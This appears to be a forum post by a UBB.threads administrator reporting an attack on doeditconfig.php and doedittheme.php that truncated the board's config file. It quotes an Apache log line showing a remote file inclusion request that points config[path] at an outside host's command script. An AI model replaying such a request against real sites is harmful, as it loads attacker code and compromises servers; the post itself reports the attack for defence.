There is a flaw in doedittheme.php and doeditconfig.php. The symptom is that the config.inc.php gets mostly truncated and the board is blank because it can't connect to the DB. The appropriate line in the apache log is:
158.39.35.18 - - [30/Sep/2006:00:29:13 -0700] "GET /ubb/admin/doeditconfig.php?thispath=../includes&config[path]=http://abok.us/cmd
.gif? HTTP/1.1" 200 171 "-" "libwww-perl/5.65"

and

It also takes place with doedittheme as well. This is being run from multiple locations. We had a different one from spain with as well. I'm running 6.5.1 with the other security hold fixed manually. I'll update to 6.5.5, but I didn't see anything to indicate that this is fixed in the update.